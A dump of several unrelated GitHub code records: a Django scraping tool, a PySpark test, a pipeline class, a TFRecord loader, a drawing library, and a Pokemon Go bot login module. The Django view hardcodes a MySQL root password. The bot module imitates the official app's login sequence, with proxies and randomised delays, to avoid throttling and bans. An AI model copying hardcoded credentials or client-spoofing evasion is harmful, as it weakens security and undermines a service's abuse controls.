\n\t\t\tcharset=\"utf8\"\n\t\t)\n\t\t\n\tcursor = db.cursor()\n\n\tquery = \"\"\"INSERT INTO tool_difficultyinfo (domain, total_js_files, js_difficulty, total_forms, form_difficulty) \n\t\t\t\tVALUES (%s, %s, %s, %s, %s) ON DUPLICATE KEY UPDATE total_js_files=%s, js_difficulty=%s,\n\t\t\t\t total_forms=%s, form_difficulty=%s\"\"\"\n\ttry:\n\t\tcursor.execute(query, tuple([domain,js_data_items['total_js_files'],js_data_items['js_difficulty'],\n\t\t\tform_data_items['total_forms'],form_data_items['form_difficulty'],js_data_items['total_js_files'],\n\t\t\tjs_data_items['js_difficulty'],form_data_items['total_forms'],form_data_items['form_difficulty']]))\n\t\tdb.commit()\n\t\tprint(\"MySQL Success: Data inserted!!\")\n\texcept mysql.connector.Error as e:\n\t\tprint(\"MySQL Error: \", e, query)\n\tcursor.close()\n\tdb.close()\n\n\ndef index(request): \n\treturn render(request, 'index.html')\n\ndef entry(request):\n\treturn render(request, 'entry.html')\n\ndef input(request): \n\tif request.method == 'POST':\n\t\tform = JavascriptForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tdomain = form.cleaned_data['domain']\n\t\t\turl = form.cleaned_data['url_label']\n\t\t\txpath_str = form.cleaned_data['xpath_box']\n\t\t\txpath_list = xpath_str.split(',')\n\t\t\tprint(xpath_list)\n\t\t\tform_data_items = form_data(url)\n\t\t\tjs_data_items = js_data(url,xpath_list)\n\n\t\t\tprint(form_data_items)\n\t\t\tprint(js_data_items)\n\t\t\tsave_to_db(domain, js_data_items, form_data_items)\n\t\t\t\n\t\t\tjs_dict = {url: xpath_list}\n\t\t\treturn HttpResponseRedirect('/input/')\n\n\telse:\n\t\tform = JavascriptForm()\n\n\treturn render(request, 'input.html', {'form': form})\n\ndef domain(request):\n\tfields = ['domain']\n\tdomains = DomainInfo.objects.all().values(*fields)\n\tcontext = {'domain_list': domains}\n\treturn render(request, 'domain.html', context)\n\ndef webscan(request, domain):\n\tdomain_info = DomainInfo.objects.filter(domain=domain).values()\n\tdifficulty_info = DifficultyInfo.objects.filter(domain=domain).values()\n\tcontext = {'domain_info': domain_info[0],'difficulty_info':difficulty_info[0]}\n\treturn render(request, 'webscan_page.html', context)\n\ndef view_web(request):\n\tif request.method == 'POST':\n\t\t\n\t\tlink = request.POST.get(\"link\")\n\t\tdomain = request.POST.get(\"domain\")\n\n\t\tdb = mysql.connector.connect(\n\t\t\thost=\"localhost\",\n\t\t\tuser=\"root\",\n\t\t\tpasswd=\"Helloworld@12345\",\n\t\t\tdatabase=\"set_database\",\n\t\t\tuse_unicode=True, \n\t\t\tcharset=\"utf8\"\n\t\t)\n\t\t\n\t\tcursor = db.cursor()\n\n\t\tquery = \"\"\"INSERT INTO tool_domaininfo (domain) VALUES (%s) ON DUPLICATE KEY UPDATE domain=%s\"\"\"\n\t\ttry:\n\t\t\tcursor.execute(query, tuple([domain,domain]))\n\t\t\tdb.commit()\n\t\t\tprint(\"MySQL Success: Data inserted!!\")\n\t\texcept mysql.connector.Error as e:\n\t\t\tprint(\"MySQL Error: \", e, query)\n\n\t\tquery = \"\"\"INSERT INTO tool_difficultyinfo (domain) VALUES (%s, %s, %s, %s, %s) ON DUPLICATE KEY UPDATE domain=%s\"\"\"\n\t\ttry:\n\t\t\tcursor.execute(query, tuple([domain,domain]))\n\t\t\tdb.commit()\n\t\t\tprint(\"MySQL Success: Data inserted!!\")\n\t\texcept mysql.connector.Error as e:\n\t\t\tprint(\"MySQL Error: \", e, query)\n\t\n\t\tcursor.close()\n\t\tdb.close()\n\n\t\tdata1 = {\n\t\t 'project': 'estimation_tool_scrapy',\n\t\t 'spider': 'speed_score',\n\t\t 'domain': domain\n\t\t}\n\t\tdata2 = {\n\t\t 'project': 'estimation_tool_scrapy',\n\t\t 'spider': 'testmysite',\n\t\t 'domain': domain\n\t\t}\n\t\tdata3 = {\n\t\t 'project': 'estimation_tool_scrapy',\n\t\t 'spider': 'woorank',\n\t\t 'domain': domain\n\t\t}\n\t\t\n\n\t\tresponse1 = requests.post('http://localhost:6800/schedule.json', data=data1)\n\t\tresponse2 = requests.post('http://localhost:6800/schedule.json', data=data2)\n\t\tresponse3 = requests.post('http://localhost:6800/schedule.json', data=data3)\n\n\t\ttime.sleep(120)\n\n\t\tdomain_info = DomainInfo.objects.filter(domain=domain).values()\n\n\t\tip=domain_info[0]['ip']\n\n\t\tdata4 = {\n\t\t 'project': 'estimation_tool_scrapy',\n\t\t 'spider': 'ip',\n\t\t 'domain': domain,\n\t\t 'ip':ip\n\t\t}\n\n\t\tif ip is not None:\n\t\t\tresponse4 = requests.post('http://localhost:6800/schedule.json', data=data4)\n\n\t\treturn HttpResponseRedirect('/entry/')\n\telse:\n\t\treturn HttpResponse(status=200)","repo_name":"pyxudev/Portfolio","sub_path":"scraping-estimation-tool/tool/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12341552293","text":"import pyspark.sql.functions as F\nfrom chispa import assert_df_equality\n\nfrom cishouseholds.derive import assign_visit_order\n\n\ndef test_assign_visit_order(spark_session):\n expected_df = spark_session.createDataFrame(\n data=[\n # fmt: off\n (1, 1, \"2020-07-09\", 2),\n (1, 2, \"2020-07-10\", 3),\n (1, 3, \"2020-07-10\", 4), # identical patient_id and date but different visit_id\n (1, 4, \"2020-07-08\", 1),\n\n (2, 1, \"2020-07-11\", 1),\n (2, 2, \"2020-07-27\", 2),\n # fmt: on\n ],\n schema=\"patient_id integer, visit_id integer, date string, count_value integer\",\n )\n expected_df = expected_df.withColumn(\"date\", F.to_timestamp(\"date\"))\n\n output_df = assign_visit_order(\n df=expected_df.drop(\"count_value\"),\n column_name_to_assign=\"count_value\",\n id=\"patient_id\",\n order_list=[\"date\", \"visit_id\"],\n )\n assert_df_equality(output_df, expected_df, ignore_nullable=True, ignore_column_order=True, ignore_row_order=True)\n","repo_name":"ONSdigital/cis_households","sub_path":"tests/derive/test_assign_visit_order_from_digital.py","file_name":"test_assign_visit_order_from_digital.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"31170150801","text":"import datetime\nimport logging\n\n\nclass Pipeline:\n def __init__(self, source, processors, sinks=None, handle_exceptions=False):\n self.handle_exceptions = handle_exceptions\n self.source = source\n self.processors = list(processors)\n self.sinks = sinks if sinks else []\n self.started = False\n\n def __start(self):\n\n def call_start(obj):\n if hasattr(obj, 'start'):\n obj.start()\n\n self.started = True\n call_start(self.source)\n for p in self.processors:\n call_start(p)\n for s in self.sinks:\n call_start(s)\n\n def stop(self):\n def call_stop(obj):\n if hasattr(obj, 'stop'):\n obj.stop()\n\n self.started = False\n call_stop(self.source)\n for p in self.processors:\n call_stop(p)\n for s in self.sinks:\n call_stop(s)\n\n def run(self):\n if not self.started:\n self.__start()\n try:\n data = self.source.get_data()\n except Exception as exc:\n logging.exception(exc)\n if not self.handle_exceptions:\n raise\n return\n for processor in self.processors:\n try:\n data = processor.process(data)\n except Exception as exc:\n logging.exception(f\"Running processor {type(processor)}\")\n if not self.handle_exceptions:\n raise\n for sink in self.sinks:\n try:\n sink.put_data(data)\n except Exception as exc:\n logging.exception(f\"Running sink {type(sink)}\")\n if not self.handle_exceptions:\n raise\n if data.get('stop_pipeline', False):\n return False\n return True\n\n def run_k(self, k):\n for _ in range(k):\n self.run()\n if self.started:\n self.stop()\n self.started = False\n\n def run_while_source(self):\n result = True\n while result:\n result = self.run()\n if self.started:\n self.stop()\n self.started = False\n\n\nclass CustomSink:\n def __init__(self, callback):\n self.callback = callback\n\n def put_data(self, data):\n self.callback(data)\n\n\nclass CustomProcessor:\n def __init__(self, callback):\n self.callback = callback\n\n def process(self, data):\n data = self.callback(data)\n return data\n\n\nclass CustomSource:\n def __init__(self, callback):\n self.callback = callback\n\n def get_data(self):\n return self.callback()\n","repo_name":"herrmilt/MLPython2023Lectures","sub_path":"resources/many_models/pipelines/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"22101827242","text":"from abc import abstractproperty\nimport os\nimport unittest\nimport tensorflow as tf\nimport numpy as np\nfrom glob import glob\nfrom tensorflow.python.platform import gfile\nfrom tqdm import tqdm\nfrom tensorflow_docs.vis import embed\nimport imageio\n\n\nheight = 48\nwidth = 48\nnum_depth = 3\nin_path = \"data/videos/\"\nout_path = \"records/\"\nn_videos_per_record = 1\n\n\n# class Testvideo2tfrecord(unittest.TestCase):\n# def test_example1(self):\n# n_frames = 5\n# convert_videos_to_tfrecord(source_path=in_path, destination_path=out_path,\n# n_videos_in_record=n_videos_per_record,\n# n_frames_per_video=n_frames,\n# dense_optical_flow=True,\n# file_suffix=\"*.mp4\")\n\n# filenames = gfile.Glob(os.path.join(out_path, \"*.tfrecords\"))\n# n_files = len(filenames)\n\n# self.assertTrue(filenames)\n# self.assertEqual(n_files * n_videos_per_record,\n# get_number_of_records(filenames, n_frames))\n\n# \" travis ressource exhaust, passes locally for 3.6 and 3.4\"\n# def test_example2(self):\n# n_frames = 'all'\n# convert_videos_to_tfrecord(source_path=in_path, destination_path=out_path,\n# n_videos_in_record=n_videos_per_record,\n# n_frames_per_video=n_frames,\n# n_channels=num_depth, dense_optical_flow=False,\n# file_suffix=\"*.mp4\")\n#\n# filenames = gfile.Glob(os.path.join(out_path, \"*.tfrecords\"))\n# n_files = len(filenames)\n#\n# self.assertTrue(filenames)\n# self.assertEqual(n_files * n_videos_per_record,\n# get_number_of_records(filenames, n_frames))\n\n\ndef read_and_decode(filename_queue, n_frames):\n \"\"\"Creates one image sequence\"\"\"\n\n reader = tf.compat.v1.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n\n image_seq = []\n\n if n_frames == 'all':\n n_frames = 354 # travis kills due to too large tfrecord\n\n # label = None\n for image_count in range(n_frames):\n path = 'blob' + '/' + str(image_count)\n\n feature_dict = {path: tf.compat.v1.FixedLenFeature([], tf.string),\n # 'file': tf.compat.v1.FixedLenFeature([], tf.string)\n }\n\n features = tf.compat.v1.parse_single_example(serialized_example,\n features=feature_dict)\n # label = tf.compat.v1.decode_raw(features['file'], tf.uint8)\n image_buffer = tf.reshape(features[path], shape=[])\n image = tf.compat.v1.decode_raw(image_buffer, tf.uint8)\n image = tf.reshape(image, tf.stack([height, width, num_depth]))\n image = tf.reshape(image, [1, height, width, num_depth])\n image_seq.append(image)\n\n image_seq = tf.concat(image_seq, 0)\n\n return image_seq # , label\n\n\ndef load_videos(filenames, n_frames):\n \"\"\"\n this function determines the number of videos available in all tfrecord files. It also checks on the correct shape of the single examples in the tfrecord\n files.\n :param filenames: a list, each entry containign a (relative) path to one tfrecord file\n :return: the number of overall videos provided in the filenames list\n \"\"\"\n\n num_examples = 0\n\n if n_frames == 'all':\n n_frames_in_test_video = 354\n else:\n n_frames_in_test_video = n_frames\n\n videos = []\n # labels = []\n # create new session to determine batch_size for validation/test data\n with tf.compat.v1.Session() as sess_valid:\n filename_queue_val = tf.compat.v1.train.string_input_producer(\n filenames, num_epochs=1, shuffle=False)\n image_seq_tensor_val = read_and_decode(filename_queue_val, n_frames)\n\n init_op = tf.group(tf.compat.v1.global_variables_initializer(),\n tf.compat.v1.local_variables_initializer())\n sess_valid.run(init_op)\n coord = tf.train.Coordinator()\n threads = tf.compat.v1.train.start_queue_runners(coord=coord)\n try:\n while True:\n video = sess_valid.run(image_seq_tensor_val)\n # label = None # sess_valid.run(label_tensor_val)\n # assert np.shape(video) == (1, n_frames_in_test_video, height, width,\n # num_depth), \"shape in the data differs from the expected shape\"\n num_examples += 1\n videos.append(video)\n # labels.append(label)\n except tf.errors.OutOfRangeError as e:\n coord.request_stop(e)\n finally:\n coord.request_stop()\n coord.join(threads)\n\n return videos # , labels\n\n\ndef process(x, y):\n return x, y\n\n\ndef to_gif(images):\n converted_images = images.astype(np.uint8)\n imageio.mimsave(\"animation.gif\", converted_images, fps=30)\n return embed.embed_file(\"animation.gif\")\n\n\nif __name__ == '__main__':\n # videos = load_videos(\n # ['dataset/tfrecords/003-01-01.tfrecords', 'dataset/tfrecords/004-01-01.tfrecords', 'dataset/tfrecords/005-01-01.tfrecords'], 35)\n # print(np.shape(videos))\n # print(filename)\n\n # from glob import glob\n\n # from time import time\n\n # t = time()\n\n # # videos = load_videos(files, 5)\n\n # files = []\n # framesCounts = []\n # with open('dataset/split/rand-train.csv') as file:\n # lines = file.readlines()\n # for line in lines[1:]:\n # line = line.splitlines()[0]\n # file = line.split(',')[0]\n # framesCount = int(line.split(',')[1])\n # files.append(file)\n # framesCounts.append(framesCount)\n\n # # print(framesCounts['011-08-21.mp4'])\n\n # # tfrecordsfiles = []\n # # for file, framesCount in tqdm(zip(files, framesCounts)):\n # # tfrecordsfile = 'dataset/tfrecords/' + \\\n # # file.split('.')[0] + '.tfrecords'\n # # tfrecordsfiles.append(tfrecordsfile)\n\n # tfrecordsfiles = glob('dataset/tfrecords/*')\n\n # # tfrecordsfiles.extend(tfrecordsfiles)\n # # tfrecordsfiles.extend(tfrecordsfiles)\n # # tfrecordsfiles.extend(tfrecordsfiles)\n # # tfrecordsfiles.extend(tfrecordsfiles)\n # # tfrecordsfiles.extend(tfrecordsfiles)\n\n # print(len(tfrecordsfiles))\n # videos = load_videos(tfrecordsfiles, 35)\n # videos = np.array(videos)\n\n # labels = [i for i in range(len(tfrecordsfiles))]\n # labels = np.array(labels)\n\n # print(len(videos))\n # print(np.shape(videos[0]))\n # print(type(videos))\n # print(type(videos[0]))\n # print(type(videos[0][0]))\n # print(type(labels))\n\n # ds = tf.data.Dataset.from_tensor_slices((videos, labels))\n # ds = ds.shuffle(buffer_size=10000)\n # ds = ds.map(process, num_parallel_calls=tf.data.AUTOTUNE)\n # ds = ds.batch(batch_size=32)\n # ds = ds.prefetch(tf.data.AUTOTUNE)\n\n # print(time() - t)\n\n # print(np.shape(videos[0]))\n\n files = sorted(glob('asset/tfrecords/*'))\n print(files)\n videos = load_videos(files, 35)\n to_gif(np.array(videos[0]))\n","repo_name":"bhasha-lip-reading/dataset-manager","sub_path":"src/DatasetProcessor/TFRecordsParser.py","file_name":"TFRecordsParser.py","file_ext":"py","file_size_in_byte":7131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12170519400","text":"import types\nfrom contextlib import contextmanager\nfrom .app import sketch\nfrom .app import renderer\nfrom .common import params_check\n\n\nstate_stack = []\n\n\n@params_check(types.FunctionType)\ndef setup(hook):\n sketch.has_setup_hook = True\n sketch.add_hook('setup', hook)\n\n\n@params_check(types.FunctionType)\ndef draw(hook):\n sketch.has_draw_hook = True\n sketch.add_hook('draw', hook)\n\n\ndef run():\n sketch.run()\n\n\ndef no_loop():\n sketch.is_loop = False\n\n\ndef loop():\n sketch.is_loop = True\n\n\ndef redraw():\n sketch.is_draw = True\n\n\ndef exit():\n sketch.should_exit = True\n\n\ndef push():\n global state_stack\n state_stack.append({\n \"transform_pointer\": len(renderer.transform_matrix_stack),\n \"stroke_color\": renderer.stroke_color,\n \"fill_color\": renderer.fill_color,\n \"tint_color\": renderer.tint_color,\n \"stroke_weight\": renderer.stroke_weight,\n \"is_stroke_enabled\": renderer.is_stroke_enabled,\n \"is_fill_enabled\": renderer.is_fill_enabled,\n \"is_tint_enabled\": renderer.is_tint_enabled,\n \"rect_mode\": renderer.rect_mode,\n \"ellipse_mode\": renderer.ellipse_mode,\n \"text_align_x\": renderer.text_align_x,\n \"text_align_y\": renderer.text_align_y,\n \"text_font\": renderer.text_font,\n \"text_size\": renderer.text_size,\n \"image_mode\": renderer.image_mode\n })\n\n\ndef pop():\n global state_stack\n state = state_stack.pop()\n while len(renderer.transform_matrix_stack) > state['transform_pointer']:\n renderer.transform_matrix_stack.pop()\n renderer.stroke_color = state['stroke_color']\n renderer.fill_color = state['fill_color']\n renderer.is_stroke_enabled = state['is_stroke_enabled']\n renderer.is_fill_enabled = state['is_fill_enabled']\n renderer.stroke_weight = state['stroke_weight']\n renderer.rect_mode = state[\"rect_mode\"]\n renderer.ellipse_mode = state[\"ellipse_mode\"]\n renderer.text_align_x = state[\"text_align_x\"]\n renderer.text_align_y = state[\"text_align_y\"]\n renderer.text_font = state[\"text_font\"]\n renderer.text_size = state[\"text_size\"]\n renderer.tint_color = state[\"tint_color\"]\n renderer.is_tint_enabled = state[\"is_tint_enabled\"]\n renderer.image_mode = state[\"image_mode\"]\n\n\n@contextmanager\ndef open_context():\n push()\n yield\n pop()\n\n\ndef get_is_looping():\n return sketch.is_loop\n","repo_name":"charming-art/charming","sub_path":"src/charming/structure.py","file_name":"structure.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"67"} +{"seq_id":"6498565567","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport asyncio\nimport logging\nimport random\nimport time\n\nfrom aiopogo.exceptions import AuthException, NianticIPBannedException, BadRPCException\n\nfrom .apiRequests import (send_generic_request, AccountBannedException,\n req_call_with_retries)\n\nclass OutOfAccountsException:\n \"\"\"We have run out of accounts and cannot serve more requests\"\"\"\n\n def __init__(self):\n pass\n\n\nclass ForcedApiException(Exception):\n \"\"\"The API has been forced and we're stopping\"\"\"\n\n def __init__(self):\n pass\n\n\n\nclass TooManyLoginAttempts(Exception):\n pass\n\n\nclass LoginSequenceFail(Exception):\n pass\n\nclass BlindAcount(Exception):\n def __init__(self, account):\n self.account = account\n\n\ndef auth_provider(api):\n try:\n return api._auth_provider\n except AttributeError:\n return api.auth_provider\n\ndef is_login_required(api):\n provider = auth_provider(api)\n if provider and provider._access_token:\n remaining_time = provider._access_token_expiry - time.time()\n\n if remaining_time > 60:\n logging.getLogger(__name__).debug('Credentials remain valid for another %f seconds.', remaining_time)\n return False\n return True\n\n\n\ndef getproxy(api):\n return api.proxy\n\ndef setproxy(api,proxy):\n api.proxy =proxy\n\n# Use API to check the login status, and retry the login if possible.\nasync def check_login(args, account, api, proxy_url, proceed):\n # Logged in? Enough time left? Cool!\n if not is_login_required(api):\n return True\n\n log = logging.LoggerAdapter(logging.getLogger(__name__), {'worker_name': account['username']})\n\n # Try to login. Repeat a few times, but don't get stuck here.\n num_tries = 0\n\n #if is_forced_version(proxy_url):\n # raise ForcedApiException()\n\n current_proxy = getproxy(api)\n if proxy_url:\n log.info(\"Using PTC proxy {} for login\".format(str(proxy_url)))\n api.proxy = proxy_url\n try:\n # One initial try + login_retries.\n while num_tries < (args.login_retries + 1):\n try:\n await api.set_authentication(\n provider=account['auth_service'],\n username=account['username'],\n password=account['password'])\n # Success!\n break\n except AuthException:\n num_tries += 1\n log.warning(\n ('Failed to login to Pokemon Go with account %s and proxy %s. ' +\n 'Trying again in %g seconds.'),\n account['username'], str(proxy_url), args.login_delay)\n await asyncio.sleep(args.login_delay)\n\n if num_tries > args.login_retries:\n log.error(\n ('Failed to login to Pokemon Go with account %s in ' +\n '%d tries with proxy %s. Giving up.'),\n account['username'], num_tries, str(proxy_url))\n raise TooManyLoginAttempts('Exceeded login attempts.')\n finally:\n setproxy(api, current_proxy)\n\n await asyncio.sleep(random.uniform(2, 4))\n\n # Simulate login sequence.\n try:\n return await rpc_login_sequence(args, api, account, proceed)\n except NianticIPBannedException:\n log.info(\"IP seems to be NIANTIC banned {}\".format(str(current_proxy)))\n raise\n\n\n\n# Simulate real app via login sequence.\nasync def rpc_login_sequence(args, api, account, proceed):\n total_req = 0\n app_version = 8700\n\n log = logging.LoggerAdapter(logging.getLogger(__name__), {'worker_name': account['username']})\n\n # 1 - Make an empty request to mimick real app behavior.\n log.debug('Starting RPC login sequence...')\n\n try:\n req = api.create_request()\n await req_call_with_retries(req, log)\n\n total_req += 1\n await asyncio.sleep(random.uniform(.43, .97))\n except Exception as e:\n log.exception('Login for account %s failed.'\n + ' Exception in call request: %s.',\n account['username'],\n e)\n raise LoginSequenceFail('Failed during empty request in login'\n + ' sequence for account {}.'.format(\n account['username']))\n\n # 2 - Get player information.\n log.debug('Fetching player information...')\n\n try:\n req = api.create_request()\n req.get_player(player_locale=args.player_locale)\n resp = await req_call_with_retries(req, log)\n parse_get_player(account, resp)\n warning_ = account['warning']\n\n total_req += 1\n await asyncio.sleep(random.uniform(.53, 1.1))\n if warning_:\n log.warning('Account %s has received a warning.',\n account['username'])\n except Exception as e:\n log.exception('Login for account %s failed. Exception in ' +\n 'player request: %s.',\n account['username'],\n e)\n raise LoginSequenceFail('Failed while retrieving player information in'\n + ' login sequence for account {}.'.format(\n account['username']))\n\n # 3 - Get remote config version.\n log.debug('Downloading remote config version...')\n old_config = account.get('remote_config', {})\n\n try:\n req = api.create_request()\n req.download_remote_config_version(platform=1,\n app_version=app_version)\n await send_generic_request(req, account, settings=True, buddy=False,\n inbox=False)\n\n total_req += 1\n await asyncio.sleep(random.uniform(.53, 1.1))\n except BadRPCException as bre:\n raise AccountBannedException\n except AccountBannedException as abe:\n raise abe\n except Exception as e:\n log.exception('Error while downloading remote config: %s.', e)\n raise LoginSequenceFail('Failed while getting remote config version in'\n + ' login sequence for account {}.'.format(\n account['username']))\n\n if not await proceed(account):\n log.info('Told not to proceed with login sequence for %s', account['username'])\n return False\n\n # 4 - Get asset digest.\n log.debug('Fetching asset digest...')\n config = account.get('remote_config', {})\n\n if config.get('asset_time', 0) > old_config.get('asset_time', 0):\n i = random.randint(0, 3)\n req_count = 0\n result = 2\n page_offset = 0\n page_timestamp = 0\n\n await asyncio.sleep(random.uniform(.7, 1.2))\n\n while result == 2:\n req = api.create_request()\n req.get_asset_digest(\n platform=1,\n app_version=app_version,\n paginate=True,\n page_offset=page_offset,\n page_timestamp=page_timestamp)\n resp = await send_generic_request(req, account, settings=True,\n buddy=False, inbox=False)\n\n req_count += 1\n total_req += 1\n\n if i > 2:\n await asyncio.sleep(random.uniform(1.4, 1.6))\n i = 0\n else:\n i += 1\n await asyncio.sleep(random.uniform(.3, .5))\n\n try:\n # Re-use variable name. Also helps GC.\n resp = resp['GET_ASSET_DIGEST']\n except KeyError:\n break\n\n result = resp.result\n page_offset = resp.page_offset\n page_timestamp = resp.timestamp_ms\n log.debug('Completed %d requests to get asset digest.',\n req_count)\n\n # 5 - Get item templates.\n log.debug('Fetching item templates...')\n\n if config.get('template_time', 0) > old_config.get('template_time', 0):\n i = random.randint(0, 3)\n req_count = 0\n result = 2\n page_offset = 0\n page_timestamp = 0\n\n while result == 2:\n req = api.create_request()\n req.download_item_templates(\n paginate=True,\n page_offset=page_offset,\n page_timestamp=page_timestamp)\n resp = await send_generic_request(req, account, settings=True,\n buddy=False, inbox=False)\n\n req_count += 1\n total_req += 1\n\n if i > 2:\n await asyncio.sleep(random.uniform(1.4, 1.6))\n i = 0\n else:\n i += 1\n await asyncio.sleep(random.uniform(.25, .5))\n\n try:\n # Re-use variable name. Also helps GC.\n resp = resp['responses']['DOWNLOAD_ITEM_TEMPLATES']\n except KeyError:\n break\n\n result = resp.result\n page_offset = resp.page_offset\n page_timestamp = resp.timestamp_ms\n log.debug('Completed %d requests to download'\n + ' item templates.', req_count)\n\n # Check tutorial completion.\n if not all(x in account['tutorials'] for x in (0, 1, 3, 4, 7)):\n log.info('Completing tutorial steps for %s.', account['username'])\n await complete_tutorial(args, api, account, log)\n else:\n log.debug('Account %s already did the tutorials.', account['username'])\n # 6 - Get player profile.\n log.debug('Fetching player profile...')\n try:\n req = api.create_request()\n req.get_player_profile()\n await send_generic_request(req, account, settings=True, inbox=False)\n total_req += 1\n await asyncio.sleep(random.uniform(.2, .3))\n except Exception as e:\n log.exception('Login for account %s failed. Exception occurred ' +\n 'while fetching player profile: %s.',\n account['username'],\n e)\n raise LoginSequenceFail('Failed while getting player profile in'\n + ' login sequence for account {}.'.format(\n account['username']))\n\n log.debug('Retrieving Store Items...')\n try: # 7 - Make an empty request to retrieve store items.\n req = api.create_request()\n req.get_store_items()\n await req_call_with_retries(req, log)\n\n total_req += 1\n await asyncio.sleep(random.uniform(.6, 1.1))\n except Exception as e:\n log.exception('Login for account %s failed. Exception in ' +\n 'retrieving Store Items: %s.', account['username'],\n e)\n raise LoginSequenceFail('Failed during login sequence.')\n\n # 8 - Check if there are level up rewards to claim.\n log.debug('Checking if there are level up rewards to claim...')\n\n try:\n req = api.create_request()\n req.level_up_rewards(level=account['level'])\n await send_generic_request(req, account, settings=True)\n\n total_req += 1\n await asyncio.sleep(random.uniform(.45, .7))\n except Exception as e:\n log.exception('Login for account %s failed. Exception occurred ' +\n 'while fetching level-up rewards: %s.',\n account['username'],\n e)\n raise LoginSequenceFail('Failed while getting level-up rewards in'\n + ' login sequence for account {}.'.format(\n account['username']))\n\n log.info('RPC login sequence for account %s successful with %s requests.',\n account['username'],\n total_req)\n\n await asyncio.sleep(random.uniform(3, 5))\n\n if account['buddy'] == 0 and len(account['pokemons']) > 0:\n poke_id = random.choice(list(account['pokemons'].keys()))\n req = api.create_request()\n req.set_buddy_pokemon(pokemon_id=poke_id)\n log.debug('Setting buddy pokemon for %s.', account['username'])\n await send_generic_request(req, account)\n\n await asyncio.sleep(random.uniform(10, 20))\n return True\n\n\n# Complete minimal tutorial steps.\n# API argument needs to be a logged in API instance.\n# TODO: Check if game client bundles these requests, or does them separately.\nasync def complete_tutorial(args, api, account, log):\n tutorial_state = account['tutorials']\n if 0 not in tutorial_state:\n await asyncio.sleep(random.uniform(1, 5))\n req = api.create_request()\n req.mark_tutorial_complete(tutorials_completed=(0,))\n log.debug('Sending 0 tutorials_completed for %s.', account['username'])\n await send_generic_request(req, account, buddy=False, inbox=False)\n\n await asyncio.sleep(random.uniform(0.5, 0.6))\n req = api.create_request()\n req.get_player(player_locale=args.player_locale)\n await send_generic_request(req, account, buddy=False, inbox=False)\n\n if 1 not in tutorial_state:\n await asyncio.sleep(random.uniform(5, 12))\n req = api.create_request()\n req.set_avatar(player_avatar={\n 'hair': random.randint(1, 5),\n 'shirt': random.randint(1, 3),\n 'pants': random.randint(1, 2),\n 'shoes': random.randint(1, 6),\n 'avatar': random.randint(0, 1),\n 'eyes': random.randint(1, 4),\n 'backpack': random.randint(1, 5)\n })\n log.debug('Sending set random player character request for %s.',\n account['username'])\n await send_generic_request(req, account, buddy=False, inbox=False)\n\n await asyncio.sleep(random.uniform(0.3, 0.5))\n req = api.create_request()\n req.mark_tutorial_complete(tutorials_completed=(1,))\n log.debug('Sending 1 tutorials_completed for %s.', account['username'])\n await send_generic_request(req, account, buddy=False, inbox=False)\n\n await asyncio.sleep(random.uniform(0.5, 0.6))\n req = api.create_request()\n req.get_player_profile()\n log.debug('Fetching player profile for %s...', account['username'])\n await send_generic_request(req, account, inbox=False)\n\n if 3 not in tutorial_state:\n await asyncio.sleep(random.uniform(1, 1.5))\n req = api.create_request()\n req.get_download_urls(asset_id=[\n '1a3c2816-65fa-4b97-90eb-0b301c064b7a/1477084786906000',\n 'aa8f7687-a022-4773-b900-3a8c170e9aea/1477084794890000',\n 'e89109b0-9a54-40fe-8431-12f7826c8194/1477084802881000'])\n log.debug('Grabbing some game assets.')\n await send_generic_request(req, account, inbox=False)\n\n await asyncio.sleep(random.uniform(6, 13))\n req = api.create_request()\n starter = random.choice((1, 4, 7))\n req.encounter_tutorial_complete(pokemon_id=starter)\n log.debug('Catching the starter for %s.', account['username'])\n await send_generic_request(req, account, inbox=False)\n\n await asyncio.sleep(random.uniform(0.5, 0.6))\n req = api.create_request()\n req.get_player(player_locale=args.player_locale)\n await send_generic_request(req, account, inbox=False)\n\n if 4 not in tutorial_state:\n await asyncio.sleep(random.uniform(5, 12))\n req = api.create_request()\n req.claim_codename(codename=account['username'])\n log.debug('Claiming codename for %s.', account['username'])\n await send_generic_request(req, account, inbox=False)\n\n await asyncio.sleep(0.1)\n req = api.create_request()\n req.get_player(player_locale=args.player_locale)\n await send_generic_request(req, account, inbox=False)\n\n await asyncio.sleep(random.uniform(1, 1.3))\n req = api.create_request()\n req.mark_tutorial_complete(tutorials_completed=(4,))\n log.debug('Sending 4 tutorials_completed for %s.', account['username'])\n await send_generic_request(req, account, inbox=False)\n\n if 7 not in tutorial_state:\n await asyncio.sleep(random.uniform(4, 10))\n req = api.create_request()\n req.mark_tutorial_complete(tutorials_completed=(7,))\n log.debug('Sending 7 tutorials_completed for %s.', account['username'])\n await send_generic_request(req, account, inbox=False)\n\n # Sleeping before we start scanning to avoid Niantic throttling.\n log.debug('And %s is done. Wait for a second, to avoid throttle.',\n account['username'])\n await asyncio.sleep(random.uniform(2, 4))\n return True\n\n\ndef parse_get_player(account, api_response):\n if 'GET_PLAYER' in api_response:\n player_ = api_response['GET_PLAYER']\n player_data = player_.player_data\n\n account['warning'] = player_.warn\n account['tutorials'] = player_data.tutorial_state\n account['buddy'] = player_data.buddy_pokemon.id\n account['codename'] = player_data.username\n account['remaining_codename_claims'] = player_data.remaining_codename_claims\n account['team'] = player_data.team\n\n\n","repo_name":"billyj85/ShuckleTools","sub_path":"pogom/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":17144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"18453743394","text":"from db import mongo\n\n\ndef get_tonase(branch: str, locate: str) -> dict:\n query = {\n \"branch\": branch,\n \"locate\": locate,\n }\n tonase = mongo.db.water_state.find_one(query, {\"end_tonase\": 1})\n return 